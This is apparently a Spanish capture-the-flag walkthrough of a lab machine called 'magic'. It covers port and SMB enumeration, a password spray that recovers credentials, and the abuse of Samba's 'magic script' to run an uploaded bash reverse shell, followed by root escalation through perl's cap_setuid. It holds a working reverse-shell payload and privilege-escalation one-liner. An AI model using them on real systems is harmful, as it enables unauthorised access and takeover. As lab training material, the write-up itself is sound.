Enumeramos puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.56❯ nmap -sCV -p 22,80,139,445 -oN 02-targeted.txt 192.168.1.56
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 11:03 -03
Nmap scan report for 192.168.1.56
Host is up (0.00033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Welcome to nginx!
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: -2s
| smb2-time:
| date: 2025-02-13T14:03:38
|_ start_date: N/A
|_nbstat: NetBIOS name: MAGIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.71 secondsEnumeramos SMB (puerto 139) con enum4linux y descubrimos el usuario xerosec:
❯ enum4linux -a 192.168.1.56 -p 139
...
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\xerosec (Local User)Hacemos un password spray con netexec y obtenemos su contraseña:
❯ sudo netexec smb 192.168.1.56 -u 'xerosec' -p rockyou_utf8.txt
...
SMB 192.168.1.56 445 MAGIC [+] MAGIC\xerosec:david1
...Enumerando el web, encontramos un archivo de configuración de Samba expuesto:
❯ gobuster dir -u 'http://192.168.1.56/backup/conf' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x bak,swp,old,tmp,save,conf -r
...
/smb.conf (Status: 200) [Size: 8799]
...El smb.conf define un recurso tmp con la directiva magic script, una funcionalidad de Samba que ejecuta un script cuando se cierra el archivo correspondiente subido al share:
...
[tmp]
comment = Temp Directory
browseable = yes
valid users = xerosec
read only = no
magic script = config.sh
create mask = 0700
directory mask = 0700
path = /tmp/
...Creamos un config.sh con una reverse shell y lo subimos al recurso con las credenciales descubiertas; al cerrarse, Samba lo ejecuta:
❯ cat config.sh
#!/bin/bash
bash -c "bash -i >& /dev/tcp/192.168.1.7/1234 0>&1"
❯ smbclient //192.168.1.56/tmp -U 'xerosec' --password='david1'
smb: \> put config.sh
❯ ncat -nlvp 1234
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.56:35144.
bash: no se puede establecer el grupo de proceso de terminal (505): Función ioctl no apropiada para el dispositivo
bash: no hay control de trabajos en este shell
xerosec@magic:/tmp$Obtenemos una shell como xerosec y la primera flag. Para escalar privilegios, listamos las capabilities (Linux Capabilities Privesc):
xerosec@magic:/tmp$ getcap -r / 2>/dev/null
...
/usr/bin/perl5.36.0 cap_setuid=ep
...perl tiene cap_setuid, que aprovechamos para invocar setuid(0) y lanzar una shell de root:
xerosec@magic:/tmp$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# whoami
whoami
rootObtenemos la flag y fin.